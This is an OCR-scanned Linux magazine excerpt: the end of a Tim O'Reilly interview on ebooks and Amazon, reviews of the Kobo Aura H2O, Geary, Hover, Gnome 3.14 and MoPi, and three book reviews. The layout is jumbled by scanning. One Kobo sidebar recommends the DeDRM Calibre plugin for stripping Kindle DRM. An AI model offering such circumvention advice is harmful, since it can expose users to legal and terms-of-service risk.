a bookshelf gives. You know, when you 
look at your bookshelf, particularly if 
you're somebody who likes books, it's 
almost like there's this texture of 
memory of all these things. You're 
looking at the spines, you know the 
authors and there's just this sort of, like, 
little flavour; an aroma. For example, my 
science fiction collection is 50+ years of 
reading these books, including books | 
was reading at just 10 years old. | 


haven't looked at some of them for 40 
years, except for looking at the spine. 
And 


hat spine refreshes the memory. 


Surely that doesn't have to go? 
TO’R: No it doesn't. | don't have a 
big enough collection of digital books 
yet but I’m pretty sure there isn’t a good 
way to organise them. 


And there's no good way of 
passing them on either. 

TO'R: Yeah, exactly. On the other hand, 
there are some wonderful new 
affordances with a digital book. You 
know, there are books that | really love 
and now | can have them with me all 
the time. | used to have two or three 
books that I'd have multiple copies of 
because I'd have one in the office, one 
at home. | can have those, assuming 
they have a digital edition, with me all 
the time. If there's something | like to 
quote a lot, | go “Yeah, | got it right here.” 
So there are pluses and minuses, and 
that's always the case as we move into 


“The willingness of people to 
pay for things that delight 


them will not go away. 


the future. We lose some things, we 
gain some things. We make trade offs 
and we figure it out. 


Do you think Amazon's 
imminent subscription service 


Tim holds a balanced view of 
the positives and negatives 
affecting the future of tech. 


for books is going to be a good or 
bad thing for publishing? 

TO'R: It's hard to say, it depends a lot 
on how they do it. Effectively, if they say 
we have this subscription service and 
somebody reads it and we're going to 
pay the author and the publisher as if 
hey bought it, then it kind of is 
economically equivalent, except for the 
fact of course that it's one more nail in 
he coffin of any alternate distribution 
method. And the problem with Amazon 
ong-term is the Walmart problem, 

Ww 
h 


hich is that you become so powerful 
at you start squeezing your supplie 


no 


Yeah, and publishers are 
paying for the privilege of 

having their titles stocked in places 
like grocery stores/supermarkets. 
TO’R: Exactly. And that's not really 
healthy. That's the thing that worries 
me the most about Amazon, and why 
always our approach — and this is a big 
piece of our philosophy on DRM-free 
ebooks — it was, “look publishers, don't 
you see the path that we're going 
down? Because Amazon is the biggest 
channel for digital and they havea 
proprietary locked-in format, effectively 
you can't sell! Or you can't in any 
effective way. Sure you can sell a MOBI 
file and people can go through hoops to 
load it. You're screwing yourself” 

There was a time when publishers 
could have really worked on this and 


said “We're going to have open formats, 
and we're going to make this stuff 
available so that people can buy 
anywhere, read anywhere”. And it would 
have been great. But that's life. The 
whole thing with publishers and 
Amazon, to me, is going to be a 
business school study some day. | 
always think, “Here Google enters the 
rket with an approach that could 
otentially have been competitive to 
azon, brought another majo 
competitor to the market, and the 
publishers sue Google.” What were 
hey thinking? 
And of course, by the time Apple 
comes into the game, you know, the 
publishers go and try to make a dea 
with them and they get sued 
hemselves. It's sad. But in th 
don't know that it really matters. | think 
at the more things change the more 
ngs stay the same, as they say. It's 
always possible to say the sky is falling 
because it's falling for you. But it's very 
arely falling for everybody. There are 
big times in history when it really does 
fall for everybody and we should be 
worried about those. But because one 
kind of supplier beats out another is not 
one of those times — and in fact, by all 
evidence, independent book stores are 
thriving. It's the chains [that are 
suffering] — you have one class of 
predator who was taken out by another. 
As a publisher, though, | am certainly 
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concerned by the potential dominance 
of Amazon. 


In 2002, David Bowie said 
music supply will become like 
running water or electricity. Do you 
think that could happen to the 
content we create? 

TO’R: | think that's fair. How longa 
period of time are we talking about? 
Effectively, the era of recorded music in 
which that was so wonderful is, what, 
70 years? And there was no good 
music before then? Bullshit. There was 
great music. And it got paid for some 
different way. | think that the willingness 
of people to pay for things that deligh 
them will not go away. And if the 
system starts failing the users — if the 
artists really aren't getting paid and they 


say, “Screw it, we're not going to do 
what we do any more,’ that will be a 
problem, right? | don't think that's going 
to happen. 


Somebody's going to come along 
and figure out how to get paid. | thin 
Amanda Palmer is a good example, 
“You like what | do, here’s how you're 
going to pay me.” And think there a 
going to be more experiments and we 
will develop more economic models 
because creators don’t want to stop 
creating and customers don't want to 
stop enjoying what they create and the 
middleman has changed, but it doesn't 
matter in the long run. @ 
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Photo credit: Dave Morris, via Flickr: Cory Doctorow, ORGCon 2012 (CC BY 2.0) 


‘In the 21st century, the rules we apply to the Internet are the rules we apply 
to everything - the Internet is the nervous system of the information age. 
ORGCON is the best place to go to debate those rules and decide what we're 
going to do about them. Cory Doctorow, author and creator of BoingBoing 
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REVIEWS 


The latest software and hardware for your Linux box, reviewed 
and rated by the most experienced writers in the business 


On test this issue... 


115 Paces 
PE Uinux 


Andrew Gregory 
Winter is coming. Better huddle around the 
server to keep warm. 


e don't want to be accused 
W: dumbing down, but the Kobo Aura H,0 Geary 0.8 

reviews section this issue Bibliophile Graham Morrison finds a Always one for zen minimalism, 
has something of a simple theme to it. water-resistant ebook reader to take with —_ Ben Everard likes the simple things in 
The Hover plugs into a Raspberry Pi so him to the sauna - something he can'tdo _life - including this wonderfully pared- 
it can accept gesture controls. Short of with his leather-bound Byron volumes. down email client. 


clapping your hands to make a switch 


come on and off, this has to be the 
simplest (some would say mos 
limiting) way of interacting with a 
computer, like an ape with a stick. 
Gnome has always tried to be 
streamlined, picking sensible defaults . res 
so as not to overload the user. The ine SSS ge ee 
oP has just one configuration screen Hover Gnome 3.1 4 MoPi 
— it's made for people who want to get 
thigns done, rather than spend ages on Minority Report promised us Mike Saunders wants an Gadget king Les Pounder 
the minutiae of setting up a system. gesture controls. Now the __ interface that looks good, _gets to play with a battery 
Hover brings them to our gets out of the way andlets pack and power manager, 
Remove that which is unneccessary Raspberry Pi. Les Pounder him get on with his work. Is__ for when he’s hacking in a 
The apotheosis (some would say nadir) waves his arms about... Gnome up to that task? field in Hampshire. 
of this philosophy is Geary. This has 
almost no configuration options, yet it's 
in development because simplicity Is a BOOKS AND GROUP TEST 
feature. Now comes my point. If we a _ 
choose to use simple tools, that doesn't Spreadsheets aren't the most thrilling applications at REBECCA MacKINNO™ 
Set ae if ; the best of times, but when they crash halfway Pre tens ae 
mean we're simple people — far from it. through an operation or otherwise garble your Gy 2 Absurd Reblleinel Putin 
We've chosen simplicity. We've opted in figures, they raise the pulse in other, less pleasant | 
o making our lives easier So we can ways. That's why you need to find the best office 
devote more brain energy to other, more suite possible, and that's why we have included five tr 
fruitful pursuits. Don't knock simplicity. of the best office suites for Linux in our Group Test STRUGGLE | 
_ ‘ this issue. And in our selection of the best books this ae ne 
Embrace the freedom to delegate month, there are guides to AngularJS, a call to arms SG 
choice to the developers. Most people for the networked age and a work of genius from the | --o 
don't get to choose not to choose. man behind the XKCD web comic. 2 EES BUR 
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Kobo Aura H,0 


Water baby Graham Morrison thinks he's found the perfect 
partner to the new EPUB edition of Linux Voice. 


Web 
www.kobo.com 
Developer 
Kobo Inc. 

Price 

£139.99 


SPECIFICATIONS 


CPU Freescale i.MX507 
at 1GHZ 

RAM 512MB 

Screen 6.8-inch Carta 
Resolution 143x1080, 
265 dpi. 

Storage 4GB 
Connections Micro SD 
and USB 

Network Wi-Fi 802.11 
b/g/n 

Size 129 x 179 x 9.7 mm 
Weight 233g 


Micro USB and Micro SD 
ports are hidden behind a 
waterproof door. 


our subscribers with both a DRM-free PDF of each 


| n case you've missed the news, we now provide 


issue and an EPUB version. EPUB Is short for 
electronic publication, and rather than locking you to 
the static layout of a PDF file (albeit a layout we've 
injected a lot of love into), an EPUB is more like 


viewing HTML. In particular, an EPUB reader will focus 


purely on the text, allowing the content to merrily 
reflow into whatever form factor you've arranged for 
your reader. Layout and images are always a 
secondary concern. But the best thing about EPUB is 
that it's the perfect format for an ebook reader 
because ebook readers are good for only one thing — 
reading words. Rather than the pixel-driven, backlit, 
power-hungry screens on our phones, tablets and 
laptops, the ‘e-ink’ displays of an e-reader have similar 
properties to those of a paper book; they're light and 
portable, you read by reflected light and the effective 
organic resolution of the text is almost indiscernible 
from print. Plus they take almost no power. Effectively, 
you don't feel like you're reading from a screen 
anymore — it feels much more like reading froma 
book. When you add this to the convenience of never 
losing a folded corner, of carrying hundreds of books 
with you and of updating your device with the latest 
issue of Linux Voice, it's an essential device. 

Which leaves Linux users with a quandary — which 
e-reader to purchase? The most famous, of course, iS 
Amazon's Kindle range. These are fantastic devices 
that are good value for money. But they tie you to 
Amazon's restrictive DRM covenant and won't work 
well with Linux, let alone allow you the privilege of 
reading Linux Voice. So when we saw that a company 
with devices known to work well with Linux, Kobo, 
was releasing a new reader, and one that you can 
use in the bath, we had to ask them for one. And they 
thankfully obliged. 
The Kobo Aura H,0 is the device in our hands. It's 
light and smaller than any book we've read. It has 
a single button on the top-right, and when pressed, 
the screen goes through the e-ink jiggle familiar to 
any e-reader user. The device uses the latest ‘Carta’ 
display, which is the same as used in the Kindle 
Paperwhite, but this beats the Paperwhite in both 
resolution and dots per inch. It's incredibly bright and 
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1OFTTS GO Ba 
0 BACK To FRex, 
sO FREE SOFTWARE 


An e-reader that works with Linux and lets you read your 
favourite magazine in the bath. Surely 5/5? 


reflective and a real pleasure to read from, whether 
that's by a candle or in direct summer sunlight. In 
dusky conditions, the invisible white LEDs secreted 
along the bottom edge pour light across the display 
ina way that's barely perceptible, but the whole 
background glows with a very comfortable, very 
uniform light that makes the text perfectly legible, 
even in the pitch dark of Count Dracula's guest 
accommodation. 


Hard ware in soft water 
When you first turn the device on, your heart sinks 
because the first screen asks you to connect the 
device to your computer, and Kobo seems to have 
abandoned its Linux desktop client. However, we 
connected the device as requested, and luckily, the 
process continued and allowed you to set up the 
device over Wi-Fi (why the cable, then?). It's a simple 
case of following the instructions and either using the 
store, or connecting the device as external storage 
and copying your files over. It really is that simple. 
Input is via the infrared touchscreen. You swipe 
eft and right to change pages, swipe up the left- 
hand side of the screen to change the brightness 
and touch various parts of the screen navigate the 
user interface. The reason for the slight clunkiness, 
and why it doesn't use a capacitive touchscreen, is 
he device's killer feature — the H,0 is waterproof. 
Kobo claims it can last for 30 minutes up to 1 metre 
beneath the surface. This is a first for an e-reader 
other than modified Kindles), and it's a genuine boon 


ELECTRONIC READER REVIEWS V 


As we briefly explained in the main text, 

you can simply connect the device to your 
Linux machine and copy the files you need 
into the root of the storage area. After you 
disconnect, the Aura will re-appraise its 
library and present a new list of books for 
you to read. It really is that simple, and it 
works faultlessly from any desktop. We used 
Calibre 2.4 (see our review last month) with 
the amazing amazon_drm plugin to access 
our trusty Kindle library, and copy over our 
book collection while at the same time 
removing Amazon's DRM. We then converted 
these files into EPUB before manually 
copying them to the Aura. Calibre would 
usually talk to your device automatically, but 


difficult. 


the H,0 edition is too new to be supported, 
and the manual process isn’t really that 


You can even perform the same task 
wirelessly. In Calibre, just start the ‘Content 
Server’ from the Sharing menu, and point the 
Aura’s browser at port 8080 on the IP address 
of your Linux machine — these details are ~ Filetype plug-ins 
given in the Sharing menu. From the web 
page that appears, you can download any of 
your books without physically connecting 
and save them to your library. This is ideal 
if you purchase books from online retailers 
who refuse to cripple their titles with DRM 
and you need a central repository to store 
your copies and send them to your devices. 


CRON) 
WS Apply & cancet 


calibre - Preferences - Plug-ins 8 
& Pus-ins 


| Here you can customise the behaviour of Calibre, by controlling what plug-ins it uses 
| 


A Restore defaults 


Search for plug-in >| ¥Next || 4Brevious 


~ Show only user installed plug-ins 


|» Catalogue generator plug-ins 
|| Conversion Input plug-ins 
» Conversion Output plug-ins 


» Device Interface plug-ins 


Archive Extract (1.0.0) by Kovid Goyal 
Extract common e-book formats from archives (zip/rar) files. Also try to autodetect if they are 
actually cbz/cbr files. 


_ DeDRM (6.0.9) by DiapDealer, Apprentice Alf, The Dark Reverser and iWcabbages 


Removes DRM from Amazon Kindle, Adobe Adept (including Kobo), Barnes & Noble, Mobipocket and eReader 
ebooks. Credit given to iWcabbages and The Dark Reverser for the original stand-alone scripts. 


HTML to ZIP (2.4.0) by Kovid Goyal 
4B Follow all Local tinks in an HTML file and create a ZIP file containing all linked files. This plug- 
in is run every time you add an HTML file to the library. 


Liberate your Amazon Kindle book collection with a little 
help from Calibre and a wonderful plugin. 


for those of us who enjoy reading in the bath. It felt 
alittle strange taking the device into the water, but 
fortunately, the only hitch we experienced was slightly 
too much bubble bath. The Aura performed perfectly, 
and we could even interact with the display whilst the 
device was submerged. 


Fantastic Voyage 

The ‘Home’ page provides access to the Kobo store, 
your own library, and a couple of handy extras, 
including reading statistics and a dictionary. The store 
itself seems well stocked, although the books use 
Adobe DRM, which we're reluctant to recommend. At 
least you have some option if you only realise in the 
departure lounge that you've forgotten a good read. 
The only remote connection is through Wi-Fi, which is 
fine for us, and the 3.2GB free out of the 4GB of 
internal memory is more than enough for a few good 
reads. However, there's a micro SD card reader hidden 
alongside the micro USB port that can be used to 
expand storage up to 32GB, which is fabulous. To 
access both ports you have to peel back a protective 
plastic door on the bottom of the units, which is used 
to make them both waterproof. 


reader devices (a wide variety are supported, including Android 
MTP phones and tablets). It can also display ebooks, but desktop 
and laptop screens are rarely good for reading from. Perhaps, as 
tablets get more powerful, Calibre will see more installs on reader 
hardware (Calibre supports touchscreen controls for Windows 
tablets, but not yet for Linux ones). 

The biggest change in version 2.0 is that it’s shifted from the Qt 4 
toolkit for its graphical interface to Qt 5. This has cleared a lot of 
problems that were the result of Qt 4. However, it does mean that the 
project no longer supports Windows XP. We won't take any marks off 
for that though - Calibre has supported XP later than Microsoft, and 
it’s high time you switched any remaining XP machines to Linux 
anyway. 

If you've got enough books to make managing them difficult, 
Calibre lets you sort and filter them by author, tag, language and 
various other parameters. You can also convert between most popular 
ebook formats, so you can manage books across a range of devices. 
This all works well, but the interface is a little lacklusture. The icon 
theme is inconsistent (some are flat, some aren't, one’s animated and 
the save icon is like nothing we've seen before), the window feels 
cluttered even though it’s actually quite a simple layout, and it’s not 
always obvious where particular options are. None of this is bad 
enough to put us off using it, but the software would really benefit 
from a little more attention to design. 

Calibre can get books from a wide range of sources including free 
(both as in beer and speech) and paid-for stores. The list of sources 


There's a lot of control over the device's font rendering - 
you can even make it virtually indistinguishable from a 
1970s era Penguin Classic. 


Reading is a real pleasure, regardless of where you 
are. While we normally prefer buttons to swiping the 
screen, we were able to turn pages while holding the 
Aura with a single hand. Touching a word brings up 
the essential dictionary, and you can both highlight 
a section and make notes, although the on-screen 
keyboard isn't very fast. Touching the screen again 
removes the user-interface that appears, rather than 
waiting for a non-existent timeout. 

There's also a lot of control over the 12 installed 
fonts, including OpenDyslexic, a typeface designed to 
help readabilty. You can fine-tune both the font size 
and the weight of the font rendering, as well as the 
line spacing and margins, and we found the results 
to be worth the effort but that could be because 
we prefer a high word density. 
We can't emphasise enough how 
comfortable and how rewarding it 
feels reading off this screen. 

File compatibility is excellent, 
as long as you stick with EPUB. 
Image formats were handled 
decently, but they don't look great 
on any e-ink display — the imperfect placement of 
the pixels and the greyscale makes images feel like 
cheap newsprint. Smaller PDF files work, but our own 
PDFs constantly asked too much of the Aura, often 
requiring a paperclip inserted into the reset hole. This 
is a device for EPUBs and EPUBs only, which is fine by 
us, because its EPUB support is brilliant. In the week 
we had the device for testing — and we read lots in 
and out of water — we used only around 10% of the 
battery life, so even with the subtle lighting, it's likely 
the Aura will last the duration of a transatlantic cruise. 
And to put it simply, we loved it. @ 


“The only hitch we 


too much bubble bath.” 


LINUX VOICE VERDICT 


A little expensive, but it works with 


Linux, it looks amazing and you can 
read it in the bath. 
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Geary 0.8 


Email should be as simple as possible, but no simpler. _ 
Ben Everard finds out which side this new email client sits on. 


Web 
https://wiki.gnome.org/ 
Apps/Geary 

Developer 

Yorba 

Licence 

LGPL 


The full range of 
configuration options 

for Geary. No, there's not 
much here — and that’s the 
whole point. 
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ncomputing terms, email is ancient. It pre-dates 
DATA the web. It pre-dates the internet, and in some 


form, it even pre-dates Arpanet. It's become 
ubiquitous and something that computer users 
expect to ‘just work’ on any computer. 

Linux has its fair share of email clients, from the 
terminal-based Mutt to the all-singing-all-dancing 
Thunderbird. However, what it didn’t have until recently 
was an email client focused on ease of use. This is the 
niche that Geary is now trying to fill. 

Despite failing to reach the $100,000 target on 
its crowdfunding campaign (and therefore getting 
nothing) in April 2013, Yorba — the development 
team behind Geary — have continued to develop the 
software albeit at a slower pace than we would have 
otherwise expected. It has just reached version 0.8. 

The design philosophy is probably best summed 
up by the preferences dialog. It contains a mere 
six options (all of them on/off), half of which are 
around notifications (the remaining three are on 
spellchecking, previews and moving to the next 
message). Want to change the frequency it checks 
the server? No such luck. Prefer a different font? Nope. 
Like to set up a filtering rule? Not here. 


Simple minds 
If this sounds like madness to you, then you might as 
well stop here — Geary isn't going to be for you. Yes, it 
will probably get more features in the future, but its 
whole raison détre is based around its simplicity, and 
that's incompatible with fine-grained control. 

If youre still reading, then you're probably intrigued 
about the possibility of a minimalist email client, so 


Preferences 


Reading 
~) Automatically select next message 
~) Display conversation preview 
Composer 
Enable spell checking 
Notifications 


Play notification sounds 


Show notifications for new mail 


{) Notify of new mail at startup 


|} Close | 
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Geary’'s conversations view helps you follow the flow of 
messages, but it can get unwieldy with large emails. 


et's look at the features. Well, the biggest new feature 
in version 0.8 is signatures. Yep, those bits of text that 
you add to the bottom of the email. They've only just 
anded in version 0.8, so that should give you an idea 
about the level of completeness. 

Connection to an email account is easy, provided, 
hat is, it's an account from Gmail, Outlook.com or 
Yahoo. If it's not, you'll have to set up the account 
manually using the IMAP and SMTP details. Once 
set up, the interface is perhaps a little closer to most 
webmail accounts than most standalone emai 
clients. Everything stays in one window, including 
composing emails. Thanks to the new composer, 
replying now happens in-line with the conversation 
on the main pane of the window. This is great for 
knocking off quick answers, but again, power users 
might find it a bit simplistic (you can break out into 
another window if you wish). 

The elephant in the room with Geary is the lack of 

GPG/PGP encryption support. It would, of course, 
be possible to do the encryption elsewhere and just 
paste the cypher text into the email, but if you're 
going to do that, why not just use a client that 
supports it? There is a bounty available for whoever 
implements encryption (www.bountysource.com/ 
issues/1353854-transparent-encryption-and- 
signing-with-gpg) that's standing at $55, but ifit's a 
feature you'd like, you can add money to the bounty. 
Ultimately, some people will love Geary for its 
simplicity, while others will hate it for its lack of 
options. This is the case now and will almost certainly 
be the case in future releases. You just have to decide 
which side you're on — give ita go! @ 


LINUX VOICE VERDICT 


Geary is easy to use, looks great and 


works well, but only if you can put up 
with the lack of options. 
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Hover 


One year earlier than Back To The Future II promised us hoverboards 


for all, Les Pounder connects one to his Pi. Great Scott! 


or many years we have used the traditional 
F combination of keyboard and mouse as our 

main method of input. But in recent years, with 
the introduction of mobile devices with touchscreen 
and accelerometers, touch and gestures have 
become alternative methods of input. 

The Hover board is a touch and gesture controller 
that works with Arduino, Spark Core and all versions 
of the Raspberry Pi. It uses a sensor to detect user 
input and passes this data to the device, which 
can then act upon the input. Hover provides a 
programmable user interface that can enable new 
methods of control for your project. 

Hover is powered by an MGC3130 single-zone 

3D tracking and gesture control chip, which uses 
electrical near-field sensing to enable gesture and 
touch control using natural human movement. To 
interface Hover to a host board it uses a mixture 

of I2C (Inter-Integrated Circuit) connectivity along 
with extra pins for power and controlling the board. 
Hover can work with both 3V3 and 5V logic, enabling 
seamless use between the various platforms. 


Raspberry Pi Model B 

Connecting the Hover to the Raspberry Pi Model B is a 
simple task. Using the great guide on the Hover 
website, we were quickly able to install the necessary 
Python library and test the board was working within 
15 minutes of opening the box. The Python library is 
well documented and provides everything needed to 
hack a great project together. In little under an hour we 
were able to learn the events triggered by gestures 
and touch, and create a simple loop that looked for 
input and, when received, played audio using the 
pygame audio mixer library. 


Hover also has five touch points: one in the centre of the 
board and the other four at the north, east, south and 
west edges of the board. This gives us nine methods of 
control for this small board. 


Just like the Raspberry Pi, the Arduino installation is 
a simple task, merely requiring the installation of the 
Hover library inside of your sketchbook/libraries folder. 
Using the example sketch, we were able to quickly test 
that our board was working with the Arduino. With this 
test complete, we wrote a sketch to take advantage 
of the Leonardo's ability to mimic a keyboard and 
mouse. This, coupled with the Hover, enabled us 
to quickly create a gesture controlled workspace 
switcher and web page scroller. 
Hover is a novel and easy-to-use interface that 
can bring new and clever methods of interaction to 
projects, from fun projects such as gesture-controlled 
cameras and sound boards, to serious real-world 
applications for users with disabilities or specialist 
requirements. Hover is a great, simple hardware 
project for hackers of all abilities that's bursting with 
limitless possibilities. 


LINUX VOICE VERDICT 


Fun, easy to use and endless 
possibilities to hack. This board has 


so much potential for hacking fun. 
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Hover easily connects to 
the Raspberry Pi using 
only six connections to 

the GPIO, enabling it to 

be integrated into your 
projects with minimal fuss. 


DATA 


Web 
www.justhover. 
com/#hove 
Developer 

Emran Mahbub and 
Jonathan Li 

Price 

$39 
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V_ REVIEWS GNOME 3.14 


GNOME 3.14 


Will the eighth revision of Gnome 3 finally convince Mike Saunders 
to switch his desktop, or is it too little, too late? 


nome 3, with its controversial redesign, arrived 


back in April 2011. There was a huge amount 

Web of uproar at the time, with many users 
www.gnome.org threatening to switch to Xfce, others forking the 
Developer Gnome 2.x codebase into the Mate desktop, and 
The Gnome Project flamewars aplenty on the internet. Here we are three = 
Licence years — and eight revisions — later, so what has a Baran) 
wigakuenie changed since those days? Has Gnome 3 finally been — Sal 

fleshed out into a usable desktop for everyone? ae ee 


Workspaces 


n 

We'd say: almost. Many of us on Team LV weren't 
fans of Gnome 3 when it first arrived, and the way 
developers had removed features en masse left us 
with deeply furrowed brows. Sure, there’s an argument 
that too many features and options can leave users 
confused, and when people at work end up tweaking 
every minutia of their desktop it can be a nightmare 
for support staff. So Gnome 3's position was: fewer 
options, but sensible defaults. 


gnome-tweak-tool is still a lifesaver if you want to 
customise the desktop beyond some very limited options. 


desktop has seen over 28,000 source code changes 
from 871 developers. Some of the changes are 
cosmetic, but others go deeper. 

For instance: new animations and multi-touch 
gestures have been added; there's a new default Gtk 
theme, and the Evince document viewer has seen an 
interface overhaul. More usefully, there’s now support 
for captive portals (so when you connect to a Wi-Fi 
hotspot that requires web-based authentication, the 
relevant page will be displayed automatically), while 
the Photos app supports Google/Picasa integration. 

The Maps program has received some updates, 
such as geolocation support, but this appeared to 
be broken in our testing: despite our best efforts, 
it consistently showed us as being in Manhattan, 
rather than our real location of Bavaria. The revamped 
Weather tool didn't suffer the same problem, though, 
and managed to work out (roughly) where we are. 

Overall, the updates and dabs of polish are al 
welcome, and we could see ourselves using Gnome 
3.14 as our daily desktop. But some things still irk 
us, such as the need to install gnome-tweak-too! to 
customise parts of the desktop's appearance, and 
he forced miminalism in some of the programs (too 
often we come across an unfamiliar toolbar button 
hat doesn't have a tooltip, making it all guesswork). 
t's much better than it used to be, for sure, but after 
spending a few days in Gnome 3.14 we still had a 
rather claustrophobic feeling. But the developers are 
istening, and that's what matters most. @ 


Sticking to the plan 
And you know, we do admire the resolve of the Gnome 
team in this respect. They've taken a huge amount of 
flak in recent years, including from us, but they've 
battled on, refined, tweaked, and even made 
concessions (such as the Classic mode, which 
provides a slightly more traditional desktop). Some 
distros have stuck with it through the most difficult 
times, and the desktop still has an army of fans today. 
So, what's new in Gnome 3.14? At the time of 
writing, it was too new to be included in any major 
distro release — but fortunately, a Fedora live image 
gave us the chance to explore it. And without doubt, 
Gnome 3.14 is the best version yet: since 3.12 the 


Weather has a decent shot 
of guessing our location, 
whereas Maps thinks we're 
in Manhattan for some 
reason. 


Oberpfaffenhofen 


Rain showers 
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The best release yet of the 3.x series, 
with welcome improvements — it still 
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feels restrictive in places though. 
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Data, imagery and map information provided by MapQuest. Open Street Map and contributors 
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MoP! 


MOPI REVIEWS Vv 


When Captain Kirk asks Scotty for “More power" he probably use MoPi. 
Les Pounder is “giving her all she’s got Captain!” 


he Raspberry Pi has become the go-to piece 
[ of kit for a multitude of projects both indoors 

and outdoors. While we are blessed with 
power supplies indoors, out in the great wilderness 
there are a shortage of plug sockets located in trees 
or clouds. So when we need to use a Pi outside, the 
normal route is to use a mobile battery. These are 
great but rarely tell us when the battery is going to die. 
MoPi by GATE is a board of many talents. The small 
board attaches to the GPIO pins of the Raspberry Pi 
and can be connected to multiple sources of power 
from a simple 9V battery to a bespoke LiPo battery 
pack, and these power sources are hot-swappable, 
enabling replacement power while in the field. 

The flexibility offered by MoPI is immense. You can 
attach any type of battery to the board, as long as it 
supplies at least 6V and at most 20V of power (the 
regulators built in to MoPi convert the power to a 
more Pi-friendly level). MoPi can even be attached to 
an external battery source while your Pi is attached to 
the mains at the same time, so when the mains 
supply goes off, the battery will automatically kick in 
and power your Pi. Used like this, it's a small and 
clever UPS for your Pi. 


Power management 

MoP1 is not just a board — it is also a suite of software 
that can be calibrated to your exact needs, with many 
types of battery covered in their various 
configurations. For example, a Raspberry Pi Model B 
powered by eight AA Duracell batteries and with 
attached keyboard, mouse and Ethernet can run for 
nine hours and 31 minutes. With a Wi-Fi dongle 
attached, this will drop by half to around four hours 45 
minutes, which is still impressive considering Wi-Fi is 
very power hungry. Using a Model A board, which has 


MoPi comes with a suite of config tools in an easy-to-use 
menu, so information is just a few key presses away. 


MoPi fits neatly on top of the Raspberry Pi and is small enough to work with existing 


cases such as the Pibow from Pimoroni. 


amuch reduced power consumption rate, MoPi claim 
that the board can be powered by the same AA 
batteries for double the time of a Model B. 

The MoPi is at home both indoors and out. Indoor 
applications include using the MoPi as a UPS for a 
time-lapse camera or web server, keeping the system 
running until the mains power can be restored. 
Outdoors, MoPi has been used to power a home brew 
Go Pro project and, using the official Raspberry Pi 
camera and a wide-angle lens, to capture the action of 
a snowboarding session and a bike ride. The MoPi 
comes with a simple micro switch to turn the board 
on and off in a graceful manner similar to a laptop 
power system. A built in RGB LED provides a visual 
indication of your power sources, with blue indicating 
a full power source, green an acceptable rate of power 
and red for when batteries are starting to run out, and 
the board also indicates which power source Is 
running out by flashing a yellow LED next to the input. 

MoPi comes in two versions: a low-profile board 
with no GPIO passthrough, and a stackable board that 
enables other boards to be used on the GPIO. It's the 
Swiss Army knife of Raspberry Pi power and a must 
for any outdoor or power-critical projects. @ 
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A small board with big possibilities. 


Launch it into space, send it under 
the sea, or photograph cress. 
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DATA 


Web 
https://pi.gate.ac.uk/ 
pages/mopi.html 
Developer 
GATE/Sheffield 
Pi-Tronics 

Price 

£25 
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What if? 


Andrew Gregory gets lost in a world of made-up science. 


e’re huge fans of Randall 
Munroe's XKCD web comic here 
at Linux Voice Mansions. From 


Richard Stallman fighting off Microsoft 
assassins with a samurai sword to some 
simple advice about password strength, the 
comics are informative, witty and stylish. 
Because of that, we were expecting What 
If Serious Scientific Answers to Absurd 
Hypothetical Questions to be informative, 
witty and stylish also, and by golly, it is. The 
hypothetical questions, all submitted by 
XKCD readers, are daft (sample: “In the 
movie 300 they shoot arrows seemingly blot 
out the sun. Is this possible, and how many 
arrows would it take?’), but all are answered 
seriously, and that's where the appeal is. 
Sometimes the answers are daft too — we 
learn that in the time it takes the scientists 
on board the ISS to sing the Proclaimers’ I'm 
Gonna Be (the last line of which is “just to be 
the man who walked 1,000 miles to fall 
down at your door’), they would have 
travelled, by extraordinary coincidence, 


almost exactly 1,000 miles. It would have 
been a lot easier for Munroe to leave stuff 
like this out, but he obviously loves what he's 
doing, and this shines out of every page. 
What Ifis perfect for the dreamers who 
got bored with science lessons at school and 
instead wanted to know the answers to 
questions that really matter: What would 
happen if the sun went out? What if the earth 
stopped spinning? Reading this book is like 
being a child again, asking question after 
question. It won't help you pass A-level 
chemistry, but it will make you want to know 
more (which is even better). 
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Author Randall Munroe 
Publisher John Murray 
ISBN 978-84854-957-9 
Price £14.99 


Bonkers, brilliant and beautiful. Buy it for the 
smartarse in your life. 


Kk KKK 


SERIOUS SCIENTIFIC ANSWERS 


to Absurd Hypothetical Questions 


what if? 


RANDALL MUNROE 
creator of xked 


The UK edition contains a foreword praising 
our ludicrous mish-mash of imperial and metric 
measurements: “Unit conversion errors have 
caused us to lose space probes once in a while. 
But isn’t that a small price to pay for silliness?” 


Consent of the networked 


Ben Everard is not an IP address. He is a free human being. 


hen the web took off, it created 
a vacuum. It was an open 
space beyond the reach of any 


government. For a few glorious years the 
web was free. Then it became too popular. 
The corporations rolled in. Facebook, 
Google, Yahoo, Twitter and more now 
control the space where we spend our 
digital lives. They get to make the rules that 
we have to follow, but who elected them 
leaders of cyberspace? Did we unknowingly 
create monarchs of digital kingdoms when 
we signed up for their services? Should they 
be held to account for the rules they create? 
These questions are becoming ever more 
important. Consent of the Networked 
examines what's happened to our basic 
rights in the digital realm by drawing ona 
history of web activism. MacKinnon looks at 
how the battle between corporations and 
governments over the control of the users is 
being fought, and how people are caught in 
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the middle with no representatives to push 
for our interests. 

The solution she presents is gooc-old- 
fashioned activism. The same approach that 
forced companies to update their labour 
laws and environmental procedures, she 
claims, can be used to make them respect 
our digital rights. This seems antiquated 
compared to the people who propose that 
digital freedoms can be secured with code, 
but MacKinnon presents a compelling 
argument for her case. 
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Author Rebecca MacKinnon 
Publisher Basic Books 
ISBN 978-0465063758 
Price £11.99 


A call to arms for the networked generation, but 
it may have come too late. 
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Can the digital world be saved or has it been 
irrevocably taken over by governments and 
corporations? Answers on a postcard! 


AngularJS 


Ben Everard investigates yet another web app framework. 


hese days, it seems like everything 

is a web app. Email, calendars, 

even whole office suites run in 

browsers. There are myriad frameworks 

and libraries for managing this, and 
AngularJS is one of the latest. 
This book, then, is an introduction to the 
world of Angular written for web 
developers. Readers are expected to 
already understand HTML, CSS, JavaScript 

he DOM and be generally familiar 


e process of creating a web app, so 
it's not great for someone embarking on 
their first project. 
At just 175 pages, it's quite a thin book 
by O'Reilly standards, but it covers 
everything an experienced web developer 
needs to know to get started with 
AngularJs. It covers how AngularJS 
works, how to set up a development 
environment and integrating test cases. 
Everything is demonstrated with an 
example, and the book is chock-full of 
code. The book does move at a fast pace, 


Becoming Functional 


The thornback 
cowfish, native 

to the Western 
Indo-Pacific region 
is one of the most 
angular animals in 
nature. 


O'REILLY” Brad Green & Shyam Seshadri 


which some readers will like, but others 
may find themselves wishing the authors 
dwelt a little more in areas, and gave fuller 
explanations of some things. 


Graham Morrison's mother wished he'd only read this as a teenager. 


unctional programming is often 
misunderstood. It’s a little like trying 
o fathom object orientation when 

you've only ever written procedures. Even 

if you learn the concepts, it's still difficult 
